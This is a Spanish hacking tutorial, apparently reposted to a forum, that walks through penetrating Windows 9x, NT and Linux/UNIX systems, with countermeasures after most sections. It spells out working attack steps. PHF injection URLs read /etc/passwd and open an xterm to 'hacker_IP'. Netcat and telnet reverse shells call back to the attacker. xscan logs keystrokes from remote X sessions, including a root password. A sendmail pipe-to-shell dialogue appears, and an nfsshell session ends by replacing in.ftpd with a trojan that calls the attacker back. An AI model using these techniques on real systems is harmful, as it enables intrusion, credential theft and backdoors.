Autor
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Técnicas de Hacking
&
Seguridad en Linux
4
Cuarto paso: Penetrate (Penetración al sistema)
Al fin llegó, ¿no?
En este paso veremos cuáles son los mecanismos usuales de violación de la seguridad de un sistema, en varias categorías: vulnerabilidad por mala configuración, errores de programas xploiteables, acceso local y acceso remoto, etc.
En el caso de los xploits, y como ya se mencionó en el paso 3: las vulnerabilidades son dependientes de cada versión del servicio en cuestión, y obviamente del sistema operativo sobre el cual corre dicho servicio.
Windows 9x
Aunque parezca mentira, los Windows 9x (en particular el 95) son relativamente seguros vía red, ya que no brindan servicios (Win95 no brinda ninguno, y Win98 tiene un par solamente que vienen desactivados por defecto) y como dije anteriormente: no se puede violar la seguridad de un sistema cerrado. Uno debe limitarse a aprovechar shares mal configurados o a la instalación de troyanos.
Una de las técnicas que puede utilizarse si descubrimos que existen carpetas compartidas es intentar un ataque por diccionario para averiguar el correspondiente password vía red. La herramienta Legion ya mencionada tiene una “BF Tool” que es en realidad un ataque por diccionario.
Obviamente la situación cambia radicalmente cuando estamos frente a la consola. Windows 9x ni siquiera tienen un mecanismo adecuado de autenticación de usuarios (cualquier que haya configurado un Win9x para red sabe que en el prompt de identificación de usuario se puede presionar "Cancel" e ingresamos igual). Algunas versiones viejas de Windows 95 inclusive permitían utilizar CTRL-ALT-DEL o ALT-TAB para salir del screensaver con password!
La mayoría de los passwords utilizados por Windows 9x, tanto de login que se almacenan en los archivos de "password list" *.pwl, como los del protector de pantalla que van a la registry, utilizan algoritmos de cifrado francamente malos. Todos estos algoritmos ya han pasado por un proceso de ingeniería inversa y existen desencriptadores para todos ellos. Si no se mencionan en los sites de hacking es porque realmente nadie se siente orgulloso de "hackear" un Windows 9x.
Dentro de las herramientas disponibles podemos mencionar las siguientes:
- 95sscrk (95 Screensaver Crack, http://users.aol.com/jpeschel/crack.htm), que baja el password del screensaver de la registry y lo crackea. Es útil porque muchos usuarios utilizan el mismo password para cualquier uso.
El screensaver incluso puede obviarse insertando un CD, ya que el mecanismo que autodetecta la inserción del CD y el autoarranque del mismo funciona aún con el screensaver activo. Puede armarse un CD que autoejecute el código que uno desee (troyanos, etc.).
- Revelation (www.snadboy.com) permite mostrar el password oculto tras los asteriscos en todos aquellos casos donde el password fue grabado y se muestra como asteriscos.
- Unhide (www.webdon.com) tiene similares funciones.
- pwltool, del mismo site, crackea los archivos .pwl
- Dial-Up Ripper (dripper, se encuentra en repositorios de herramientas de hacking en Internet) permite crackear los passwords de las cuentas dialup que hayan grabado el password.
Un site que realmente merece una visita para los fanáticos del crackeo de passwords es http://www.lostpassword.com
Contramedidas:
Inactivar file/directory sharing.
No usar Windows 9x en ambientes de libre acceso.
Desactivar la función de autoarranque del CDROM.
No grabar los passwords, o al menos utilizar passwords diferentes para las distintas funciones.
Windows NT
Este sistema operativo es relativamente seguro, pero lo es mucho menos de lo que pudo ser. Para todos los passwords de login NT utiliza un poderoso mecanismo de cifrado denominado “double-DES” (doble Data Encryption Standard) que es relativamente difícil de descifrar.
Pero Microsoft decidió que era más importante la compatibilidad con sistemas legacy que la seguridad, y Windows NT usa adicionalmente el antiguo algoritmo de cifrado de LAN Manager, que es bastante débil (esto último no es culpa de Microsoft, el algoritmo fue originalmente desarrollado por IBM).
Una de las cosas que podría intentarse es adivinar manualmente passwords a través de la red, para lo cual es vital una lista de los usernames. Dicha lista seguramente la armamos con DumpACL y el par sid2user/user2sid en el paso de enumeración.
Hay que tomar en cuenta dos hechos opuestos:
- los usuarios tienden a elegir el password más sencillo posible, pero
- NT suele bloquear las cuentas tras 3 intentos fallidos (ojo con esto!)
Es bueno saber tambien que los controladores de dominio no suelen permitir el login interactivo excepto para unas pocas cuentas administrativas, por lo cual suele empezarse por algún NT Workstation o un NT Server miembro de la red, para ir conociendo los errores habituales en la red, antes de intentar nada sobre los DC.
El proceso de chequeo de passwords puede ser automatizado (recordar el lock de la cuenta!) con herramientas ya mencionadas como NetBIOS Auditing Tool (NAT) y Legion, o un simple script que utilice net use.
Estos mecanismos no son demasiado efectivos contra cuentas importantes, donde los administradores tienden a elegir buenos passwords, pero suelen permitir la primer infiltración en cuentas con password nulo o trivial.
Otro método para facilitar el ingreso es el sniffing de la red para capturar los hash que son enviados al establecer las conexiones.
Una de las herramientas de múltiple funcionalidad que permite esto es L0pthcrack (http://www.l0pht.com) la herramienta más conocida para crackeo de passwords NT, que incorpora un sniffer de red en el crackeador. Las versiones anteriores de L0phtcrack utilizaban un programa externo para este mismo fin, llamado readsmb. Una versión del readsmb para UNIX puede encontrarse en la página de herramientas de L0pht (y el código fuente de L0phtcrack para *NIX se encuentra en varios archivos de herramientas de hacking en Internet).
Inclusive uno puede hacer que le envíen el hash a pedido, enviando un mail con un URL del tipo ////mimaquina/midirectoriocompartido/mensaje.html como un archivo. El hash llega y debemos sniffearlo.
La gente de L0pht tambien creó un sniffer que permite capturar los hash utilizados por los logins de NT que utilizan Microsoft VPN.
Contramedidas:
Bloquear el tráfico NetBIOS en el perímetro de la red.
Forzar con las policies el uso de buenos passwords, lockear las cuentas luego de 3 intentos, y loguear los intentos de login fallidos.
Educar a los usuarios para que utilicen buenos passwords.
Utilizar switches en lugar de shared hubs, lo cual dificulta el sniffeo de la red (sigue funcionando el truquito del mail).
Desactivar el uso de los passwords de LAN Manager (este parche viene incorporado en SP4, pero el parche no está activado por defecto, ya que impide la conexión de clientes Win9x y anteriores).
Los xploits remotos para NT son más un mito que una realidad, aunque esta situación va cambiando lentamente. Algunos de los más conocidos son:
- Netmeeting 2.x exploit (http://www.cultdeadcow.com/cDc_files/cDc-351)
- NT RAS exploit (http://www.infowar.co.uk/mnemonix/ntbufferoverruns.htm)
- winhlp32 exploit (ídem anterior)
- IISHACK exploit (http://www.eeye.com)
Siempre que surgió algún problema de este tipo Microsoft terminó sacando un parche, pero eso mismo sucede en cualquier otro sistema operativo.
Los ataques más frecuentes contra redes Microsoft son los de Denial of Service (DoS) por claras fallas en los stacks de TCP/IP de este sistema operativo que lo han hecho claramente vulnerable, y por el simple hecho de ser el sistema operativo más utilizado en entorno empresario. Entre los ataques DoS más conocidos tenemos teardrop, teardrop2, snork, land y OOB (todos específicos de Windows, no hacen nada a un Linux).
Contramedidas:
Tener instalado como mínimo el SP5.
Obviamente estar al tanto de nuevos SP e instalarlos.
Linux/UNIX
En el paso anterior hemos enumerado los servicios del sistema, y ahora disponemos de la información necesaria para buscar xploits que se apliquen a la versión instalada.
Existen literalmente centenares de sites en Internet que tienen archivos de los xploits a vulnerabilidades conocidas, dentro de ellos los siguientes:
- http://www.securityfocus.com
- http://hack.co.za
- http://www.hackersclub.com
- http://www.uha1.com
y otros.
Contemplaremos aquí las posibilidades de acceso remoto.
El acceso remoto se define como el acceso a consola local vía red. Una vez alcanzado el acceso shell, aún cuando sea con nivel de usuario, podemos considerar que estamos locales en el sistema, y se aplican metodologías locales que se describirán en el siguiente módulo como “escalación de privilegios”.
En sistemas *NIX también aplican los ataques por fuerza bruta ya mencionados en la sección de Windows NT. Empeorados porque muchos sistemas no tienen implementadas políticas de lockeo de cuenta tras n intentos fallidos de conexión.
Los servicios que son atacables por fuerza bruta son, en principio, los siguientes:
- telnet
- FTP
- los servicios 'r' (rlogin, rsh, y otros)
- Secure Shell (SSH)
- POP
- HTTP/HTTPS
Recordemos la importancia del paso previo de enumeración de IDs de usuarios, ya que los user IDs, así como cualquier información del campo GECOS obtenida, por ejemplo, con finger, son aplicables a las metodologías de acceso remoto por fuerza bruta.
Uno de los errores más comunes (según mi experiencia) en sistemas Linux es que algún usuario tiene como password su user ID. Es mucho más frecuente de lo que puede imaginarse.
Si bien el ataque por fuerza bruta puede hacerse a mano, existen algunas herramientas automáticas para este proceso, mencionaremos las siguientes:
- brute_web.c (http://sunshine.sunshine.ro/FUN/New/)
- pop.c (mismo site)
- middlefinger (http://www.njh.com/latest/9709/970916-05.html)
Contramedidas:
Nunca se mencionará suficientes veces: que los usuarios tengan buenos passwords.
Forzar con políticas el cambio de passwords con frecuencia (30 días para cuentas administrativas, 60 días para usuarios normales).
La longitud mínima del password debe ser 6 caracteres, siendo preferible una longitud mínima de 8 caracteres. No utilizar versiones viejas de Linux, ya que algunas ignoraban cualquier caracter del password después del octavo.
Auditar los propios passwords con herramientas adecuadas para detectar passwords vulnerables y notificar a los usuarios de los mismos, obligándolos a cambiarlos.
No utilizar el mismo password en diferentes sistemas (en particular los passwords administrativos).
NO ESCRIBIR EL PASSWORD EN PAPEL.
No contarle el propio password a otras personas (a veces pasa).
Asegurarse que no existan cuentas con alto privilegio que tengan passwords por defecto (ver el bug del paquete Piranha en RedHat 6.2 standard, la información está disponible en BugTraq).
La segunda amenaza en importancia son los xploits basados en situaciones de buffer overflow.
Un buffer overflow es un error que ocurre cuando un programa tiene malas prácticas de programación y no valida adecuadamente la entrada del usuario (que puede ser un ser humano o un programa escrito al efecto), ocasionando que se supere la capacidad del stack asignado, rompiéndose el código. Hasta aquí lo que se pierde es la funcionalidad del programa, pero lo peor es que existe la posibilidad de forzar a que el programa al romperse ejecute un código arbitrario (típicamente un shell) con los privilegios del programa que se cae (en general root). Resultado: un shell como root en el sistema remoto.
En algunos casos no se obtiene un shell, pero puede forzarse la ejecución de comandos, preparando el camino para otros ataques más sofisticados.
Para los interesados en la faceta técnica de todo esto, existe un artículo de Aleph One, el moderador de BugTraq, en http://www.2600.net/phrack/p49-14.html
Contramedidas:
Desde el punto de vista del usuario final, la única contramedida factible es aplicar los parches a cualquier programa xploiteable que se detecte. La forma más rápida de enterarse es monitorear diariamente BugTraq (www.securityfocus.com).
Minimizar en lo posible el uso de programas con el bit SUID seteado y los servicios que corren como root.
Otra amenaza son los ataques de input validation, en los cuales se aprovecha que un programa no parsea adecuadamente los argumentos brindados como entrada, lo cual en ocasiones lleva a la ejecución de código o comandos arbitrarios.
El máximo ejemplo de una vulnerabilidad de este tipo sucedió en 1996, cuando Jennifer Myers identificó y reportó una vulnerabilidad en el script PHF de Apache y el server web NCSA, que permitía pasarle argumentos arbitrarios tales como 'cat /etc/passwd'. Cabe recordar que esto sucedía en una época donde no se usaban aún los shadow passwords, de modo que cualquier máquina con el script PHF permitía el acceso a la base de datos de passwords cifrados, siendo trivial el proceso consiguiente de crackeo.
Esta vulnerabilidad PHF se basaba en que el script no parseaba bien los argumentos, dentro de los cuales podía pasarse un carácter nueva línea (%0a), y cualquier cosa que se pusiera luego del carácter nueva línea se ejecutaba con la prioridad (usuario) con que estaba corriendo el server. La siguiente línea permitía ver el archivo de passwords de un sistema *NIX:
http://www.mysite.org/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Ya que el archivo de passwords es world readable, cualquier podía leerlo.
A lo largo de los años han surgido algunas otras vulnerabilidades de este tipo, tal vez no tan desastrosas como la primera, ya que luego del ataque PHF la comunidad ya estaba preparada para otros errores.
Contramedidas:
Son válidas exactamente las mismas consideraciones que para el caso de los buffer overflows.
Auditar el propio sistema con Nessus o alguna herramienta similar, que detectan las vulnerabilidades conocidas de input validation.
Suponiendo que los métodos anteriores hayan permitido la ejecución de determinados comandos, pero no hayamos obtenido un shell interactivo, lo siguiente a intentar es aprovechar vulnerabilidades del sistema X Window.
Recordemos que X abre puertos arriba del 6000 cuando está instalado, y estos puertos muchas veces son olvidados al armar las reglas de firewalling.
El mejor amigo del atacante es el programa xterm, ya que puede utilizarse para abrir una terminal en el server atacado, pero mostrándose en la pantalla X del atacante.
La sintaxis para lograr esto es:
/usr/X11R6/bin/xterm -ut -display hacker_IP:0.0
Lo cual podría lograrse con la siguiente línea en un sistema que tuviera el ataque de input validation PHF:
http://www.mysite.org/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20hacker_IP:0.0
Simplemente se reemplazan los espacios por %20 (su representación hexadecimal).
Para que funcionen las vulnerabilidades de X, el sistema tiene que tener mal configurada la seguridad mediante xhost (muchas veces viene mal configurada de fábrica, permitiendo acceso irrestricto).
Otras vulnerabilidades explotan la facilidad que brinda X de conectarse remotamente al ser una aplicación cliente/servidor (siempre es necesario que el sistema remoto esté mal configurado, o que logremos ejecutar un 'xhost +' en dicho sistema).
Una buena forma de identificar máquinas con 'xhost +' habilitado es usando xscan, que puede escanear una subred entera en busca de servidores X receptivos, logueando todas las teclas presionadas a un archivo de log:
# xscan linux10
Scanning hostname linux10 …
Connecting to linux10 (10.0.0.10) on port 6000…
Connected.
Host linux10 is running X.
Starting keyboard logging of host linux10:0.0 to file KEYLOGlinux10:0.0…
Ahora todas las teclas presionadas se guardan en el archivo 'KEYLOGlinux10:0.0'.
# tail -f KEYLOGlinux10:0.0
su -
[Shift_L]Superman[Shift_R]!
Un simple comando tail sobre el archivo de log nos muestra lo que está siendo tipeado en tiempo real, en este ejemplo vemos el password de root. Inclusive nos muestra la presión de las teclas SHIFT.
También pueden visualizarse las ventanas activas en el sistema remoto con el comando xlswins:
# xlswins -display remotehost:0.0 | grep -i netscape
0x1000001 (Netscape)
0x1000246 (Netscape)
0x1000561 (Netscape: OpenBSD)
Con esto conocemos los ID de las ventanas del Netscape, que afortunadamente estaba activo. Ahora podemos visualizarlo en nuestro propio escritorio con:
# xwatchwin remotehost -w 0x1000561
Al proveer el ID de la ventana podemos monitorearla en nuestro propio escritorio sin que nadie detecte nuestra actividad.
Aún cuando la protección por 'xhost -' esté activa podremos obtener una captura de pantalla de las ventanas activas con:
# xwd -root -display localhost:0.0 > dump.xwd
Y podemos finalmente visualizarlo con:
# xwud -in dump.xwd
Contramedidas:
No instalar X Window en un server.
De necesitar instalarlo leer la documentación del comando xhost para setear adecuadamente la seguridad.
Cubrir los puertos 6000-6100 con la firewall.
Un método comúnmente utilizado cuando podemos ejecutar comandos pero no está instalado X, es la creación de un telnet inverso.
El telnet inverso se crea utilizando el comando nc (NetCat), y podemos confiar en que prácticamente cualquier Linux lo incluye.
La idea es crear 2 netcats escuchando en dos puertos diferentes en nuestra máquina, de tal forma de poder ver de nuestro lado lo que tipeamos en una ventana, y lo que sucede en otra. Luego simplemente se lanzan dos telnets en el sistema remoto, en una cadena de pipes a y desde un shell.
Veamos cómo armarlo:
- en primer lugar lanzar 2 netcats en nuestro sistema, utilizando 2 puertos que el sistema remoto pueda acceder, usualmente los sistemas tienen permitido salir a través de las firewalls a puertos tales como el 80 (web) y 25 (sendmail), por lo cual debemos estar seguros que nuestro sistema tenga esos 2 puertos libres y ejecutar:
nc -l -n -v -p 80
nc -l -n -v -p 25
- luego hay que ejecutar lo siguiente en el site remoto (por ejemplo mediante PHF):
/bin/telnet hacker_IP 80 | /bin/sh | /bin/telnet hacker_IP 25
Lo que logramos es que un telnet se conecte a uno de nuestros netcats en el puerto 80, allí será donde nosotros tipeemos nuestros comandos.
Nuestros comandos pasan con un pipe a /bin/sh (uno de los shells).
La salida de los comandos pasa con un pipe a nuestro otro netcat, en el puerto 25, que es donde veremos los resultados de los mismos.
Similar en concepto a un IRC, pero con dos ventanas
También puede estudiarse el uso de netcat, ya que puede utilizarse en el sistema remoto para lograr algo parecido al telnet inverso (usando el flag -e, no siempre soportado).
El proceso es el siguiente:
- en nuestro sistema ponemos un netcat a la escucha
nc -l -n -v -p 80
- y en el sistema remoto ejecutamos
nc -e /bin/sh hacker_IP 80
Contramedidas:
Se va dificultando la aplicación de contramedidas con los ataques a medida que van ganando en sofisticación, pero pueden eliminarse los comandos telnet y nc del sistema.
En caso de necesitar un acceso tipo telnet usar SSH.
Es factible utilizar un back channel con autenticación, pero es infinitamente más difícil que un reverse telnet.
Otros ataques remotos implican el abuso de tftp, ya mencionado, y el uso de xploits específicos de FTP y sendmail, que son los más comunes.
Los xploits de FTP se dividen en aquellos que requieren que el servidor tenga un directorio donde el usuario anónimo pueda escribir, y aquellos que aprovechan la vulnerabilidad SITE EXEC (por ejemplo el wu-ftpd 2.6.0 que viene con el Red Hat 6.2 original) que no lo requieren.
Un ejemplo de un xploit viejo de sendmail era la posibilidad de utilizar pipes para enviar a sendmail comandos para ser ejecutados, se utilizaban con un simple telnet al puerto 25 como puede verse en el siguiente diálogo de ejemplo:
helo
mail from: |
rcpt to: bounce
data
.
mail from: bin
rcpt to: | sed '1,/^$/d' | sh
data
donde se le pasan argumentos al shell 'sh' mediante pipes.
Contramedidas:
Utilizar el último FTP, siempre aplicarle cualquier parche que salga, no habilitar la subida de archivos y de ser necesario conectar un FTP a Internet habilitar únicamente el acceso anónimo.
Con sendmail utilizar siempre la última versión con los parches, o directamente reemplazarlo por alguna alternativa más segura como por ejemplo Qmail (www.qmail.org).
Otros xploits que se encuentran fácilmente hacen uso de vulnerabilidades inherentes del portmapper.
Hay que tener en cuenta que el portmapper no fue desarrollado originalmente con la seguridad en mente.
Existe una versión llamara Secure RPC, que permite brindar un poco más de seguridad a los servicios que utilizan el portmapper.
Las vulnerabilidades del portmapper hacen conveniente NO usar cualquier servicio que lo necesite, pero desgraciadamente hay servicios importantes, como NFS, NIS y mcserv que lo necesitan.
En el caso puntual de NFS existe una interesante herramienta llamada nfsshell (http://ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz) que permite browsear el NFS con un cliente similar al cliente FTP de consola. Inclusive permite que cambiemos el UID/GID que estamos utilizando para browsear (usualmente no podemos usar 0, ya que la mayoría de los NFS no permiten montar algo como root en su configuración por defecto).
El primer paso es chequear que NFS esté activo:
#rpcinfo -p 192.168.2.34
program vers proto port
100000 4 tcp 111 rpcbind
100000 3 tcp 111 rpcbind
100000 2 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100000 3 udp 111 rpcbind
100000 2 udp 111 rpcbind
100005 1 udp 32845 mountd
100005 2 udp 32845 mountd
100005 3 udp 32845 mountd
100005 1 tcp 32811 mountd
100005 2 tcp 32811 mountd
100005 3 tcp 32811 mountd
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
Haciendo el query al portmapper podemos ver que mountd y nfs están activos.
Luego intentamos ver la lista de exports:
# showmount -e 192.168.2.34
Export list for 192.168.2.34:
/ (everyone)
/usr (everyone)
Terriblemente mal configurado: exporta sin limitaciones el directorio raíz y los binarios.
El uso consiguiente de nfsshell sería como en este ejemplo:
# nfs
nfs> help
host <host> - set remote host name
uid [<uid> [<secret-key>]] - set remote user id
gid [<gid>] - set remote group id
cd [<path>] - change remote working directory
lcd [<path>] - change local working directory
cat <filespec> - display remote file
ls [-l] <filespec> - list remote directory
get <filespec> - get remote files
df - file system information
rm <file> - delete remote file
ln <file1> <file2> - link file
mv <file1> <file2> - move file
mkdir <dir> - make remote directory
rmdir <dir> - remove remote directory
chmod <mode> <file> - change mode
put <local-file> [<remote-file>] - put file
mount [-upTU] [-P port] <path> - mount file system
umount - unmount remote file system
umountall - unmount all remote file systems
export - show all exported file systems
dump - show all remote mounted file systems
status - general status report
help - this help message
quit - its all in the name
bye - good bye
handle [<handle>] - get/set directory file handle
mknod <name> [b/c major minor] [p] - make device
Ahora nos conectamos al servidor remoto:
nfs> host 192.168.2.34
Using a privileged port (1022)
Open 192.168.2.34 (192.168.2.34) TCP
Listamos los file systems que está exportando:
nfs> export
Export list for 192.168.2.34:
/ everyone
/usr everyone
Montamos / para acceder a todo el filesystem:
nfs> mount /
Using a privileged port (1021)
Mount '/', TCP, trasfer size 8192 bytes.
Chequeamos el status de la conexión y averiguamos el UID con que hemos iniciado la conexión:
nfs> status
User id : -2
Group id : -2
Remote host : '192.168.2.34'
Mount path : '/'
Transfer size : 8192
El sistema no permite montar filesystems como UID 0, despues vermos cómo podemos obtener mejores privilegios que los actuales. De momento podemos listar el /etc/passwd, ya que es world readable:
nfs> cd /etc
nfs> cat passwd
root:x:0:1:Super-User:/root:/bin/bash
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
… etc … etc …
Podemos obtener de esta forma los userIDs, pero no los passwords cifrados ya que el sistema utiliza shadow passwords.
No podemos crackear los passwords, y no podemos montar el filesystem como root, pero al menos podemos obtener interesantes privilegios cambiando nuestro UID y viendo qué cosas están mal configuradas en el sistema remoto. El usuario daemon tiene potencial, pero bin (UID = 2) tiene acceso como owner a los binarios:
nfs> mount /usr
Using a privileged port (1022)
Mount '/usr', TCP, transfer size 8192 bytes.
nfs> uid 2
nfs> gid 2
nfs> status
User id : 2
Group id : 2
Remote host : '192.168.2.34'
Mount path : '/usr'
Transfer size : 8192
Llegados a este punto podemos arrancar una xterm o instalar un back telnet a nuestro sistema reemplazando algún ejecutable. Por ejemplo in.ftpd:
#!/bin/sh
/usr/X11R6/bin/xterm -display 10.0.0.11:0.0 &
Y subimos nuestro in.ftpd, reemplazando el existente:
nfs> cd /sbin
nfs> put in.ftpd
Finalmente permitiremos la conexión desde nuestro lado con:
# xhost +192.168.2.34
# ftp 192.168.2.34
Al intentar iniciar el ftp arrancaremos la xterm remota, voilá
Contramedidas:
No utilizan ningún servicio no necesario.
Cubrir con firewall el portmapper y otros puertos que correspondan a los servicios que necesitemos utilizar en el perímetro de la red.
::::::::::::::::::::::::::::::::::::::::::::::
Otraves lo aclaro... yo no lo escribí... solo es una recuperacion de un texto muy bueno sobre la hacking y seguridad en Linux.
En línea
